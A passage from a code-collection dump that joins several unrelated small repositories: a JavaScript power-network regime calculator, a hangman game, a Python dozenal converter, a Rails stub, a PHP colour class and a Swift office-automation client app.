jj; ++j) { value = math.add(value, math.multiply(U[j], Y[i][j])); } value = math.subtract(value, math.divide(S[i], U[i])); result.push(value); } return math.matrix(result); }; var funcDerivative = function (Y, S, U) { Y = Y.toArray(); S = S.toArray(); U = U.toArray(); for (var i = 0, ii = Y.length; i < ii; ++i) { Y[i][i] = math.add(Y[i][i], math.divide(S[i], math.pow(U[i], 2))); } return math.matrix(Y); }; var iteration = function(Y, S, U, Ub, Yb) { return math.multiply(math.inv(funcDerivative(Y, S, U)), funcIteration(Y, S, U, Ub, Yb)); }; var getMatrixYb = function (matrixYy) { var result = []; matrixYy = matrixYy.toArray(); for (var i = 0, ii = matrixYy.length; i < ii; ++i) { result.push(math.sum(matrixYy[i])); } return math.matrix(result); }; coefUpercent = coefUpercent || 0; var valueUnom = self.params.Unom, valueUmain = valueUnom * (1 + coefUpercent / 100), valueAccuracyMax = 0.000001, valueAccuracyI = valueAccuracyMax * 1000, valueAccuracyJ = valueAccuracyMax * 1000, result = {}, defMatrixM, defMatrixMb, defMatrixS, defMatrixZ, matrixM, matrixMb, matrixZv, matrixYv, matrixYy, matrixYb, matrixUdiff, valueSgen, i, j, limitI = 25, limitJ = 25; defMatrixM = self.createMatricM(); defMatrixMb = self.createMatricM(-1); defMatrixS = self.getPowers(mode); defMatrixZ = self.getResists(); matrixM = math.matrix(defMatrixM); matrixMb = math.matrix(defMatrixMb); matrixZv = math.diag(defMatrixZ); matrixYv = math.inv(matrixZv); matrixYy = math.multiply(math.multiply(matrixM, matrixYv), math.transpose(matrixM)); matrixYb = getMatrixYb(matrixYy); result.matrixSn = defMatrixS; result.matrixS = self.getPowersMatrix(result.matrixSn); result.valueUmain = math.complex({r: valueUmain, phi: math.sum(result.matrixSn).toPolar().phi}); result.valueSgen = math.complex(0, 0); for (j = 0; j < limitJ && valueAccuracyJ > valueAccuracyMax; ++j) { result.matrixUy = math.multiply(math.ones(defMatrixS.length), result.valueUmain); result.matrixUyd = math.zeros(defMatrixS.length); valueAccuracyI = valueAccuracyMax * 1000; for (i = 0; i < limitI && valueAccuracyI > valueAccuracyMax; ++i) { matrixUdiff = iteration(matrixYy, math.unary(result.matrixS), result.matrixUy, result.valueUmain, matrixYb); result.matrixUyd = math.add(result.matrixUyd, matrixUdiff); result.matrixUy = math.subtract(result.valueUmain, result.matrixUyd); result.voltage = self.calcVoltage(result.matrixS, result.matrixUyd, result.matrixUy, result.valueUmain); result.voltageReal = self.getVoltageReal(result.voltage.delta, branches); result.matrixSn = self.getPowers(mode, result.voltageReal); result.matrixS = self.getPowersMatrix(result.matrixSn, math.add(math.multiply(result.voltageReal, valueUnom / 100), valueUnom)); valueAccuracyI = math.max(math.abs(matrixUdiff)); } valueSgen = result.valueSgen; result.valueSgen = math.unary(math.multiply( math.multiply( math.multiply( math.multiply( result.valueUmain, math.inv(matrixZv) ), math.transpose(matrixM) ), result.matrixUyd ).toArray(), matrixMb.toArray() )); result.valueUmain = math.complex({r: math.abs(result.valueUmain), phi: result.valueSgen.toPolar().phi}); valueAccuracyJ = math.abs(math.divide(math.subtract(result.valueSgen, valueSgen), result.valueSgen)); } if (i >= limitI || j >= limitJ) { self.addError('Итерационный процесс расчета расходится. Расчет невозможен.'); return NaN; } result.matrixUvd = math.multiply(math.transpose(matrixM), result.matrixUyd); result.matrixIv = math.divide(math.multiply(math.inv(matrixZv), result.matrixUvd), self.SQRT3); result.matrixSvd = math.multiply(self.SQRT3, math.multiply(math.diag(result.matrixUvd), result.matrixIv)); result.matrixUyp = math.multiply(100, math.divide(math.subtract(result.matrixUy.map(self._v), valueUnom), valueUnom)); if (coefUpercent == 0 && branches === undefined) { self.results[mode].networkBase = self._clone(result); } if (branches === undefined) { self.storage.network[mode][(coefUpercent || 0)] = self._clone(result); } return self._clone(result); }; self.calcVoltage = function (matrixS, matrixUyd, matrixUy, valueUmain) { var voltage = {}, voltageLoss = [], networkUyd, transformersLoss, Unom = self.params.Unom; networkUyd = self._m2a(matrixUyd.map(self._v)); transformersLoss = self.getTransformersLoss(matrixS, matrixUy); for (var i = 0, ii = networkUyd.length; i < ii; ++i) { voltageLoss.push(networkUyd[i] + transformersLoss.dU[i]); } voltage.delta = math.multiply(math.subtract(math.abs(valueUmain) - Unom, voltageLoss), 100 / Unom); voltage.loss = voltageLoss; voltage.lossPercent = math.multiply(voltageLoss, 100 / Unom); return voltage; }; self.getVoltageReal = function(voltage, branches) { if (branches) { var result = []; for (var i = 0, ii = voltage.length; i < ii; ++i) { if (branches[i]) { result.push(voltage[i] + self.params.transformerAdditions[branches[i]]); } else { result.push(voltage[i]); } } return result; } else { return voltage; } }; self.func = {}; self.func.setTransformAdditions = function (additions) { self.params.temp.transformerAdditions = additions || self.params.transformerAdditions; }; self.func.getTransformAdditions = function () { return self.params.temp.transformerAdditions || self.params.transformerAdditions; }; self.func.getLimits = function (voltageDown, regime) { var addUmax = regime && regime.max ? regime.max : 0, addUmin = regime && regime.min ? regime.min : 0; return { max: { max: voltageDown.max.max - self.params.transformerInsensetive - addUmax, min: voltageDown.max.min + self.params.transformerInsensetive - addUmax }, min: { max: voltageDown.min.max - self.params.transformerInsensetive - addUmin, min: voltageDown.min.min + self.params.transformerInsensetive - addUmin } }; }; self.func.setBranchesConst = function (branches) { self.params.temp.constBranches = branches; }; self.func.getBranchesConst = function (i) { if (i === undefined) { return self.params.temp.constBranches; } else if (self.params.temp.constBranches && self.params.temp.constBranches[i]) { return self.params.temp.constBranches[i]; } return NaN; }; self.func.getBranches = function (regime, voltageMax, voltageMin, force) { if (self.func.getBranchesConst()) { return self.func.checkBranches(regime, voltageMax, voltageMin, self.func.getBranchesConst()); } var dUmax, dUmin, voltageDown = self.getVoltageDown(), transformerAdditions = self.func.getTransformAdditions(), limits, branches = [], allSet = true, j; if (!voltageMax || !voltageMin) { return NaN; } voltageMax = self._clone(voltageMax); voltageMin = self._clone(voltageMin); for (var i = 0, ii = voltageDown.length; i < ii; ++i) { if (voltageDown[i]) { limits = self.func.getLimits(voltageDown[i], regime); for (j in transformerAdditions) { dUmax = voltageMax[i] + transformerAdditions[j]; dUmin = voltageMin[i] + transformerAdditions[j]; if (dUmax > limits.max.min && dUmax < limits.max.max && dUmin > limits.min.min && dUmin < limits.min.max) { branches[i] = j; break; } } if (branches[i] === undefined) { allSet = false; } } } return force || (allSet && branches.length) ? branches : NaN; }; self.func.checkBranches = function(regime, voltageMax, voltageMin, branches) { var dUmax, dUmin, voltageDown = self.getVoltageDown(), transformerAdditions = self.func.getTransformAdditions(), limits, result = true; if (!voltageMax || !voltageMin) { return false; } for (var i = 0, ii = voltageDown.length; i < ii; ++i) { if (voltageDown[i]) { limits = self.func.getLimits(voltageDown[i], regime); dUmax = voltageMax[i] + transformerAdditions[branches[i]]; dUmin = voltageMin[i] + transformerAdditions[branches[i]]; if (!(dUmax > limits.max.min && dUmax < limits.max.max && dUmin > limits.min.min && dUmin < limits.min.max)) { result = false; break; } } } return result ? branches : NaN; }; self.func.compareBranches = function(branches1, branches2) { if (branches1.length != branches2.length) { return false; } for (var i = 0, ii = branches1.length; i < ii; ++i) { if (branches1[i] !== branches2[i]) { return false; } } return true; }; self.calcBase = function () { var networkMax = self.calcNetwork('max'), networkMin = self.calcNetwork('min'); return networkMax && networkMin; }; self.calcMain = function (calcMaxMin, constBranches) { if (!self.calcBase()) { return NaN; } var results, regimes = self.params.transformerRegimes; calcMaxMin = calcMaxMin !== false; for (var i in regimes) { results = self.calcRegime(regimes[i], constBranches); if (results.regimes.main.regime) { break; } } if (!results.regimes.main.regime || calcMaxMin) { var regimesMaxMin = self.calcRegimesMaxMin(); if (!results.regimes.main.regime && regimesMaxMin.max.regime && regimesMaxMin.min.regime) { var regime = { max: (regimesMaxMin.min.regime.max + regimesMaxMin.max.regime.max) / 2, min: (regimesMaxMin.min.regime.min + regimesMaxMin.max.regime.min) / 2 }; results = self.calcRegime(regime, constBranches); } results.regimes.max = regimesMaxMin.max; results.regimes.min = regimesMaxMin.min; if (!results.regimes.main.regime) { results.max.network = self._clone(self.results.max.networkBase); results.min.network = self._clone(self.results.min.networkBase); } self.results.regimes = results.regimes; } return results; }; self.calcRegimesMaxMin = function() { if (!self.calcBase()) { return NaN; } var results = {max: NaN, min: NaN}, regime, networkMax, networkMin, branches; regime = {max: -0.1, min: -0.1}; mainWhile: while (regime.min < 7.45) { regime = {max: regime.min, min: regime.min + 0.1}; networkMin = self.calcNetwork('min', math.round(regime.min)); while (regime.max < 12.45) { regime = {max: regime.max + 0.1, min: regime.min}; networkMax = self.calcNetwork('max', math.round(regime.max)); branches = self.func.getBranches( {max: regime.max - math.round(regime.max), min: regime.min - math.round(regime.min)}, networkMax.voltage.delta, networkMin.voltage.delta); if (branches) { if (!results.min.regime) { results.min = {regime: regime, branches: branches}; } results.max = {regime: regime, branches: branches}; } else if (results.max.regime) { break mainWhile; } } } return results; }; self.calcRegime = function(regime, branches, _baseResults, _iteration) { if (!self.calcBase() || (_iteration = _iteration || 1) > 5) { return NaN } var results = {max: {}, min: {}}, newBranches; regime = regime ? {max: regime.max || 0, min: regime.min || 0} : {max: 0, min: 0}; results.max.network = self.calcNetwork('max', regime.max, branches); results.min.network = self.calcNetwork('min', regime.min, branches); if (!results.max.network || !results.min.network) { return NaN; } results.voltageDown = self.getVoltageDown(); results.regimes = {main: {regime: NaN, branches: NaN}}; newBranches = self.func.getBranches(null, results.max.network.voltage.delta, results.min.network.voltage.delta); if (newBranches) { if (branches === undefined || !self.func.compareBranches(branches, newBranches)) { return self.calcRegime(regime, newBranches, _baseResults || results, ++_iteration); } results.regimes.main = {regime: regime, branches: newBranches}; return results; } return _baseResults || results; }; self.calcRegimeBranches = function(branches) { if (!self.calcBase()) { return NaN; } self.func.setBranchesConst(branches); var results = self.calcRegime(null, branches); results.regimes.main.branches = branches; var resultsCalc = self.calcMain(false, branches); self.func.setBranchesConst(NaN); return resultsCalc.regimes.main.regime ? resultsCalc : results; }; self._m2a = function (matrix) { if (matrix instanceof math.type.Matrix) { return matrix.toArray(); } else { return matrix; } }; self._v = function (value) { if (value instanceof math.type.Complex) { return math.abs(value); } else { return value; } }; self._clone = function (obj) { return _.clone(obj); // use underscore.js // Handle the 3 simple types, and null or undefined if (null == obj || "object" != typeof obj) return obj; // Handle Date if (obj instanceof Date) { var copy = new Date(); copy.setTime(obj.getTime()); return copy; } // Handle Array if (obj instanceof Array) { var copy = []; for (var i = 0, len = obj.length; i < len; i++) { copy[i] = self._clone(obj[i]); } return copy; } // Handle Object if (obj instanceof Object) { var copy = obj.constructor(); for (var attr in obj) { if (obj.hasOwnProperty(attr)) copy[attr] = self._clone(obj[attr]); } return copy; } throw new Error("Unable to copy obj! Its type isn't supported."); }; self.exportData = function () { var nodeKeys = ['node', 'main', 'transformer', 'Pmax', 'Qmax', 'Pmin', 'Qmin', 'dUmax', 'dUmin'], edgeKeys = ['start', 'finish', 'cable', 'length', 'R', 'X'], exportData = {nodes: [], edges: []}, nodes = self.getNodes(), edges = self.getEdges(), node, edge, string = "\ufeff", i, j; for (i in nodes) { node = []; for (j in nodeKeys) { if (typeof nodes[i][nodeKeys[j]] === 'boolean') { node.push(nodes[i][nodeKeys[j]] ? 1 : 0); } else { node.push(nodes[i][nodeKeys[j]]); } } exportData.nodes.push(node); } for (i in edges) { edge = []; for (j in edgeKeys) { edge.push(edges[i][edgeKeys[j]]); } exportData.edges.push(edge); } string += exportData.nodes .map(function(v){return v.map(function(v){return (v+'').replace(/\./, ',');}).join(';');}).join("\n"); string += "\n\n"; string += exportData.edges .map(function(v){return v.map(function(v){return (v+'').replace(/\./, ',');}).join(';');}).join("\n"); return string; }; self.importData = function (data) { var rows, values, i = 0, ii; rows = data.replace(/^\s+|\s+$/g,'').split("\n"); nodes.splice(0, nodes.length); edges.splice(0, edges.length); for (ii = rows.length; i < ii; ++i) { values = rows[i].replace(/,/g,'.').split(';'); if (values.length > 8) { self.addNode({ node: values[0], main: parseInt(values[1]) ? true : false, transformer: values[2], Pmax: parseFloat(values[3]), Qmax: parseFloat(values[4]), Pmin: parseFloat(values[5]), Qmin: parseFloat(values[6]), dUmax: parseFloat(values[7]), dUmin: parseFloat(values[8]) }); } else { ++i; break; } } for (ii = rows.length; i < ii; ++i) { values = rows[i].replace(/,/g,'.').split(';'); if (values.length > 5) { self.addEdge({ start: values[0], finish: values[1], cable: values[2], length: parseFloat(values[3]), R: parseFloat(values[4]), X: parseFloat(values[5]) }); } else { break; } } self.updateTransformer(); self.updateCable(); self.clearResults(); }; self.init = function() { self.loadTransformers(); self.loadCables(); self.updateTransformer(); self.updateCable(); self.clearResults(); setTimeout(function() { self.updateTransformer(); self.updateCable(); self.clearResults(); }, 500); }; return self; } var energy = getEnergy(); energy.init();<file_sep>'use strict'; /* Filters */ angular.module('energy.filters', []). filter('round', function($filter) { return function (value, precision) { precision = precision || 0; return math.round(value, precision).toFixed(precision); }; }); <file_sep>Программа предназначена для расчета режима распределительных электрических сетей 6-10 кВ, выбора закона регулирования в центре питания (ЦП) и выбора коэффициента трансформатормации трансформаторов (ответвление переключателя без возбуждения (ПБВ)) на трансформаторных подстанциях (ТП). Программа разработана в качестве дипломного проекта на кафедре Электрические системы Энергетического факультета Белорусского государственного технического университета. The program is designed to calculate the regime of distribution electric networks 6-10 kV, the selection control law in the center of the power unit (CPU) and selection ratio of transformation on transformers (choose tap on no-load tap changer (NLTC)) in transformer substation (TS). The program is develop as a graduation project at the Electrical Systems department Power Engineering faculty of Belarusian National Technical University.
51f85e3ae632ba84030812d2de563d1ae79ac5f7
[ "JavaScript", "Text" ]
4
JavaScript
Negromovich/energy-program
7960f1340a6f7f87eb908a879a3606c19bb6d4b5
b4f930903771e66bd3439d395b8ecdb4dab90806
refs/heads/master
<repo_name>Leach-IT3049C/6-hangman-hussaimi<file_sep>/README.md Hangman ===================== ![Assignment Checks](https://s///github.com/Leach-IT3049C/6-hangman-hussaimi/workflows/Assignment%20Checks/badge.svg) Instructions to this assignment can be found [here](#). ## Checklist: - [x] update the assignment checks above to the correct link. - Done Automatically - [x] make sure the assignment checks pass - [x] fill out the self evaluation and Reflection - [x] submit the repository link on Canvas ## Self-Evaluation: how many points out of 20 do you deserve on this assignment: I submitted this assignment late, so I axpect that some of my marks will be deducted on the basis of that. But if I consider only the assignment part, then I guess I can get full marks. ## Self-Reflection: Overall the assignment was a little difficult for me. At first, I stuck at the fetch part of the assignment, and it took me almost 2 to 3 days to figure out the problem, with the help of professor. Other than than, it was a little difficult. ### How long it took me to finish this? it took me more than a week to complete the logic of this assignment.<file_sep>/resources/js/index.js // START + DIFFICULTY SELECTION let startWrapper = document.getElementById(`startWrapper`); let difficultySelectForm = document.getElementById(`difficultySelect`); let difficultySelect = document.getElementById(`difficulty`); // GAME let gameWrapper = document.getElementById(`gameWrapper`); let guessesText = document.getElementById(`guesses`); let wordHolderText = document.getElementById(`wordHolder`); // GUESSING FORM let guessForm = document.getElementById(`guessForm`); let guessInput = document.getElementById(`guessInput`); let guessSubmitButton = document.getElementById('guessSubmitButton'); // GAME RESET BUTTON let resetGame = document.getElementById(`resetGame`); // CANVAS let canvas = document.getElementById(`hangmanCanvas`); // The following Try-Catch Block will catch the errors thrown try { // Instantiate a game Object using the Hangman class. let game = new Hangman(canvas); // add a submit Event Listener for the to the difficultySelectionForm // get the difficulty input // call the game start() method, the callback function should do the following // 1. hide the startWrapper // 2. show the gameWrapper // 3. call the game getWordHolderText and set it to the wordHolderText // 4. call the game getGuessessText and set it to the guessesText difficultySelectForm.addEventListener("submit", function (event) { event.preventDefault(); difficultySelect = document.getElementById(`difficulty`); game.start(difficultySelect.value).then(()=>{ startWrapper.style.display = "none"; gameWrapper.style.display = "block"; wordHolderText.innerHTML = game.getWordHolderText(); guessesText.innerHTML = game.getGuessesText(); }); }); // add a submit Event Listener to the guessForm // get the guess input // call the game guess() method // set the wordHolderText to the game.getHolderText // set the guessesText to the game.getGuessesText // clear the guess input field // Given the Guess Function calls either the checkWin or the onWrongGuess methods // the value of the isOver and didWin would change after calling the guess() function. // Check if the game isOver: // 1. disable the guessInput // 2. disable the guessButton // 3. show the resetGame button // if the game is won or lost, show an alert. guessForm.addEventListener(`submit`, function (e) { e.preventDefault(); guessInput = document.getElementById(`guessInput`); game.guess(guessInput.value); wordHolderText.innerHTML = game.getWordHolderText(); guessesText.innerHTML = game.getGuessesText(); guessInput.value = ""; if(game.isOver == true){ guessSubmitButton.disabled = true; guessInput.disabled = true; resetGame.style.display = "block"; if(game.didWin == true){ alert("Congratulations! You won."); } else{ alert("Game Lost."); } } }); // add a click Event Listener to the resetGame button // show the startWrapper // hide the gameWrapper resetGame.addEventListener(`click`, function (e) { gameWrapper.style.display = "none"; startWrapper.style.display = "block"; game.guesses = []; game.previousGuessedWord = []; guessInput.disabled = false; guessSubmitButton.disabled = false; wordHolderText.innerHTML = ""; guessesText.innerHTML = ""; resetGame.style.display = "none"; game.gameCounter = 0; game.wordHolderCounter = 0; }); } catch (error) { console.error(error); alert(error); }
d21dfdedd2bb45abec381d7c2092ec58251ca31e
[ "Markdown", "JavaScript" ]
2
Markdown
Leach-IT3049C/6-hangman-hussaimi
a0723f6d594b5b0fc000ee58dacef9084da9a3e0
3148ca4d35fa5e3efa34c5bc3e0a27ea0a1c6b95
refs/heads/master
<repo_name>minddrive/dozenal<file_sep>/dozenal.py """Core module for managing dozenal numbers""" import math import re class Dozenal(): """Basic class for handling dozenal""" doz_digits = list('0123456789XE') def __init__(self, num, decimal=False): """Keep track of decimal value of dozenal for arithmetic""" if decimal: self.decimal = num self.dozenal = self.dec_to_doz(num) else: self.dozenal = num self.decimal = self.doz_to_dec(num) def __repr__(self): """Display dozenal value""" return self.dozenal def __add__(self, other): """Add two dozenal numbers""" dec_sum = self.decimal + other.decimal return Dozenal(dec_sum, decimal=True) def __mul__(self, other): """Multiply two dozenal numbers""" dec_prod = self.decimal * other.decimal return Dozenal(dec_prod, decimal=True) def __sub__(self, other): """Subtract two dozenal numbers""" dec_diff = self.decimal - other.decimal return Dozenal(dec_diff, decimal=True) def __truediv__(self, other): """Divide two dozenal numbers (not integral result)""" dec_div = self.decimal / other.decimal return Dozenal(dec_div, decimal=True) @staticmethod def _validate(num, dozenal=True): """Ensure dozenal or decimal number is valid""" if dozenal: digits = '[0-9XE]' else: digits = '[0-9]' prog = re.compile(r'^([+-])?(%s+)(\.(%s+))?$' % (digits, digits)) result = re.match(prog, num) if result is None: raise ValueError(num) sign, whole, fraction = result.group(1, 2, 4) if not dozenal: if whole is not None: whole = int(whole) if fraction is not None: fraction = int(fraction) return sign, whole, fraction def doz_to_dec(self, doz_num): """Convert dozenal to decimal""" try: sign, whole, fraction = self._validate(doz_num) except ValueError as exc: raise ValueError('%s is not a valid dozenal number' % exc) negative = False if sign == '-': negative = True decimal = 0 for digit in whole: decimal = ((decimal << 3) + (decimal << 2) + self.doz_digits.index(digit)) if fraction is not None: fractional = 0 for digit in fraction: fractional = ((fractional << 3) + (fractional << 2) + self.doz_digits.index(digit)) decimal += fractional / (12 ** len(fraction)) return -decimal if negative else decimal def dec_to_doz(self, dec_num): """Convert decimal to dozenal""" try: sign, whole, fraction = self._validate(str(dec_num), dozenal=False) except ValueError as exc: raise ValueError('%s is not a valid decimal number' % exc) negative = False if sign == '-': negative = True dozenal = '' while True: dozenal += self.doz_digits[whole % 12] whole //= 12 if whole == 0: break dozenal = dozenal[::-1] if fraction is not None: fractional = [] if fraction == 0: fraction = 0.0 else: fraction /= 10 ** (int(math.log10(fraction)) + 1) for idx in range(12): fraction *= 12 fractional.append(self.doz_digits[int(fraction)]) fraction -= int(fraction) if fraction == 0: break dozenal += '.' + ''.join(fractional) return '-' + dozenal if negative else dozenal
c7e6b2ffe8969de76f50fd7b827fda733d628b43
[ "Python" ]
1
Python
minddrive/dozenal
2e31a0b675977568380263209fe61aa4c64b164b
8ff02fc217a12c19411d0561b97d7c5d314b7e5d
refs/heads/master
<file_sep>Rails.application.routes.draw do root 'tests#index' get 'tests' => 'tests#index' end <file_sep>class TestsController < ApplicationController def index @aaa = "aaa" end end
e878e7aaa20c8c4fee42a8a1f8ed44c5da71b83b
[ "Ruby" ]
2
Ruby
shokobamboo/ex
84e90f13c2d199289af9ab4cf4f3a930f39591f5
c99d7feede43f24a814f41ccef41527835ea2c90
refs/heads/master
<file_sep><?php // Zum Berechnen verschiedener Farben, eingentlich unnötigt aber ggf. später mal ergänzen! class color_checker { private $r=0; private $g=0; private $b=0; function __destruct() { } function error($meldung) { trigger_error($meldung, E_USER_ERROR); die(); } function getColor() { return "#FFFFFF"; } function color_checker($hex_color_string) { // Hoffentlich immer im Format "#000000" if (strlen($hex_color_string)==7) { $hex_color_string=str_replace("#","",$hex_color_string); } if (strlen($hex_color_string)==4) { $hex_color_string=str_replace("#","",$hex_color_string); } if (strlen($hex_color_string)==3) { return; } if (strlen($hex_color_string)==6) { return; } $this->error("Farbe konnte nicht erkannt werden!"); } } ?>
961c887ff87cf9c639cc68f2035e162cd342a933
[ "PHP" ]
1
PHP
Istani/class.color.php
a35a646deaaae0f14628c5f4cd0ad7920f8df4bb
068ad9dfab631994c77db9cb58861f20fbd47863
refs/heads/master
<repo_name>a562432988/zxmoa<file_sep>/README.md # zxmoa 第一个适配oa项目 <file_sep>/zxmoa/Daylay.swift // // Daylay.swift // zxmoa // // Created by mingxing on 16/3/7. // Copyright © 2016年 ruanxr. All rights reserved. // import UIKit import Alamofire import SwiftyJSON class Daylay: UIViewController{ /**客户走访*/ @IBOutlet weak var btn2: UIButton! /**工作周报*/ @IBOutlet weak var btn4: UIButton! /**请假上报*/ @IBOutlet weak var btn1: UIButton! /**代办查看*/ @IBOutlet weak var btn3: UIButton! var data = "" var ttle = "" var RUN_ID = "" var flag = 0 override func viewDidLoad() { super.viewDidLoad() // btn1.frame = CGRectMake(0,0,30,30) // btn1.center = CGPointMake(view.frame.size.width/2, 280) // btn1.titleLabel?.font = UIFont.boldSystemFontOfSize(17) //文字大小 btn1.setTitleColor(UIColor.orangeColor(), forState: UIControlState.Normal) //文字颜色 btn1.set(image: UIImage(named: "gongao.png"), title: "请假上报", titlePosition: .Bottom, additionalSpacing: 10.0, state: .Normal) btn4.setTitleColor(UIColor.orangeColor(), forState: UIControlState.Normal) //文字颜色 btn4.set(image: UIImage(named: "liucheng.png"), title: "工作周报", titlePosition: .Bottom, additionalSpacing: 10.0, state: .Normal) btn2.setTitleColor(UIColor.orangeColor(), forState: UIControlState.Normal) //文字颜色 btn2.set(image: UIImage(named: "kehu.png"), title: "客户走访", titlePosition: .Bottom, additionalSpacing: 10.0, state: .Normal) btn3.setTitleColor(UIColor.orangeColor(), forState: UIControlState.Normal) //文字颜色 btn3.set(image: UIImage(named: "wendang.png"), title: "代办查询", titlePosition: .Bottom, additionalSpacing: 10.0, state: .Normal) } /** 周报上报*/ @IBAction func btn4(sender: UIButton) { data = "workflow/new/do.php?f=create&FLOW_ID=3004&FLOW_TYPE=1&FUNC_ID=2" ttle = "工作周报上报" flag = 1 btn4.userInteractionEnabled = false self.ursll() // self.trunaround() } @IBAction func btn3(sender: UIButton) { let alert: UIAlertView = UIAlertView(title: "", message: "功能开发中", delegate: nil, cancelButtonTitle: "OK") alert.show() } /** 请假上报*/ @IBAction func btn1(sender: UIButton) { data = "workflow/new/do.php?FLOW_ID=2001&f=create&FLOW_TYPE=1&FUNC_ID=2" ttle = "请假申请" flag = 2 btn1.userInteractionEnabled = false ursll() } /** 客户走访*/ @IBAction func btn2(sender: UIButton) { data = "workflow/new/do.php?FLOW_ID=3002&f=create&FLOW_TYPE=1&FUNC_ID=2" ttle = "客户走访信息上报" flag = 3 btn2.userInteractionEnabled = false // trunaround() ursll() } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } func ursll(){ var url1 = "http://www.zxmoa.com:83/general/" let header = ["Cookie":"PHPSESSID=\(cookpsw)"] url1 = url1 + data showNoticeWait() Alamofire.request(.GET,url1,headers: header ).response { request, response, data, error in let res = String(response?.URL!) let charset=NSCharacterSet(charactersInString:"&=") let resArray=res.componentsSeparatedByCharactersInSet(charset) self.RUN_ID = resArray[1] // print(self.RUN_ID,1) self.clearAllNotice() self.trunaround() } } func trunaround(){ let vc = FormController() vc.RUN_ID1 = RUN_ID vc.flag = flag vc.titlename = ttle vc.hidesBottomBarWhenPushed = true self.navigationController?.pushViewController(vc, animated: true) btn4.userInteractionEnabled = true btn2.userInteractionEnabled = true btn1.userInteractionEnabled = true } } <file_sep>/zxmoa/webView.swift // // webView.swift // zxmoa // // Created by mingxing on 16/3/22. // Copyright © 2016年 ruanxr. All rights reserved. // import UIKit import Alamofire import SwiftyJSON class webView: UIViewController,UIWebViewDelegate { var webbit:UIWebView? var data:String? var titles:String? // http://www.zxmoa.com:83/general/notify/show/read_notify.php?NOTIFY_ID=20 var url = "http://www.zxmoa.com:83/general/" var header = ["Cookie":"PHPSESSID=\(cookpsw)"] override func viewDidLoad() { super.viewDidLoad() webbit = UIWebView(frame: self.view.frame ) webbit!.backgroundColor = UIColor(red: 0xf0/255, green: 0xf0/255, blue: 0xf0/255, alpha: 1) self.webbit?.delegate = self self.navigationItem.title = titles! self.view.addSubview(webbit!) //设置是否缩放到适合屏幕大小 self.webbit?.scalesPageToFit = true ursll() // Do any additional setup after loading the view. } func ursll(){ url = url+data! showNoticeWait() Alamofire.request(.GET,url,headers: header ).responseString{ response in if let j = response.result.value { let html = j self.webbit!.loadHTMLString(html,baseURL:nil) self.clearAllNotice() } } } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } <file_sep>/zxmoa/Login View.swift // // ViewController.swift // zxmoa // // Created by mingxing on 16/3/1. // Copyright © 2016年 ruanxr. All rights reserved. // import UIKit import Alamofire import SwiftyJSON var cookpsw:String = "" var Usernn:String = "" class LoginView: UIViewController { @IBOutlet weak var remb: UISwitch! @IBOutlet weak var send: UIButton! @IBOutlet weak var Username: UITextField! @IBOutlet weak var Password: UITextField! var timer:NSTimer! var saveSuccessful: Bool! var saveSuccessful1: Bool! var saveSuccessful2: Bool = false @IBAction func sendup(sender: AnyObject) { /**按钮无法按下,防止多次请求*/ send.userInteractionEnabled = false let usern : String! = Username.text let passw : String! = Password.text showNoticeWait() saveSuccessful = KeychainWrapper.setString(usern, forKey: "usern") saveSuccessful1 = KeychainWrapper.setString(passw, forKey: "passw") if remb.on { saveSuccessful2 = KeychainWrapper.setString("1", forKey: "butten") } else { saveSuccessful2 = KeychainWrapper.removeObjectForKey("butten") } Usernn = usern //发送http post请求 Alamofire.request(.POST, "http://zxmoa.com:83/general/login/index.php?c=Login&a=loginCheck",parameters:["username":"\(usern)","password":"\(<PASSWORD>)","userLang":"cn"]).responseData{ response in if let j = response.result.value { let js = JSON(data:j) if js["flag"] == 1 { let cookieStorage = NSHTTPCookieStorage.sharedHTTPCookieStorage() let cookieArray = cookieStorage.cookies if cookieArray!.count > 0 { for cookie in cookieArray! { if cookie.name == "PHPSESSID" { cookpsw = cookie.value // print("PHPSESSID : \(cookpsw)") } } } // self.clearAllNotice() /**请求完成重新开启按钮*/ self.send.userInteractionEnabled = true // self.dismissViewControllerAnimated(true,completion: nil)//销毁当前视图 self.performSegueWithIdentifier("Truerun", sender: self) // self.modalTransitionStyle = UIModalTransitionStyle.PartialCurl }else{ let alertController = UIAlertController(title: "提示",message: "用户名密码错误", preferredStyle: .Alert) //设置提示框 self.presentViewController(alertController, animated: true, completion: nil)//显示提示框 self.timer = NSTimer.scheduledTimerWithTimeInterval(2,target:self,selector:Selector("timers"),userInfo:alertController,repeats:false) //设置单次执行 repeats是否重复执行 selector 执行的方法 } } } } /**定时器*/ func timers() { self.presentedViewController?.dismissViewControllerAnimated(false, completion: nil)//关闭提示框 send.userInteractionEnabled = true self.timer.invalidate()//释放定时 } override func touchesMoved(touches: Set<UITouch>, withEvent event: UIEvent?) { } func stateChanged(switchState: UISwitch) { if switchState.on { let usern : String! = Username.text let passw : String! = Password.text saveSuccessful = KeychainWrapper.setString(usern, forKey: "usern") saveSuccessful1 = KeychainWrapper.setString(passw, forKey: "passw") } else { } } override func viewDidLoad() { super.viewDidLoad() // Do any additional setup after loading the view, typically from a nib. // Password.secureTextEntry = true NSThread.sleepForTimeInterval(2.0) // send.layer.cornerRadius = 5 //设置button按钮圆角 let flag:String? = KeychainWrapper.stringForKey("butten") if flag != nil{ remb.setOn(true, animated: true) }else{ remb.setOn(false, animated: true) } if remb.on { Username.text = KeychainWrapper.stringForKey("usern") Password.text = KeychainWrapper.stringForKey("passw") }else { } send.layer.cornerRadius = 5 //设置button按钮圆角 } override func touchesBegan(touches: Set<UITouch>, withEvent event: UIEvent?) { self.Username.resignFirstResponder()//释放username控件的第一焦点 self.Password.resignFirstResponder()//释放password控件的第一焦点 } @IBAction func log(segue: UIStoryboardSegue){ // print("1") } } <file_sep>/zxmoa/First View.swift // // First View.swift // zxmoa // // Created by mingxing on 16/3/7. // Copyright © 2016年 ruanxr. All rights reserved. // import UIKit import Alamofire import SwiftyJSON var USER_ID:String! var USER_PRIV:String! var DEPT_NAME:String! class First_View: PageController{ // @IBOutlet var backGroudView: UIView! var vcTitles = ["新闻", "公告", "资料","补丁"] // var vcTitles = ["新闻", "公告"] let vcClasses: [UIViewController.Type] = [XinWenController.self, GongGaoController.self,ZiLiaoController.self,BuDingController.self] // let vcClasses: [UIViewController.Type] = [XinWenController.self, GongGaoController.self] required init?(coder aDecoder: NSCoder) { super.init(coder: aDecoder) let item = UIBarButtonItem(title: "返回", style: .Plain, target: self, action: nil) self.navigationItem.backBarButtonItem = item itemsWidths = [80, 80,80,80] dataSource = self 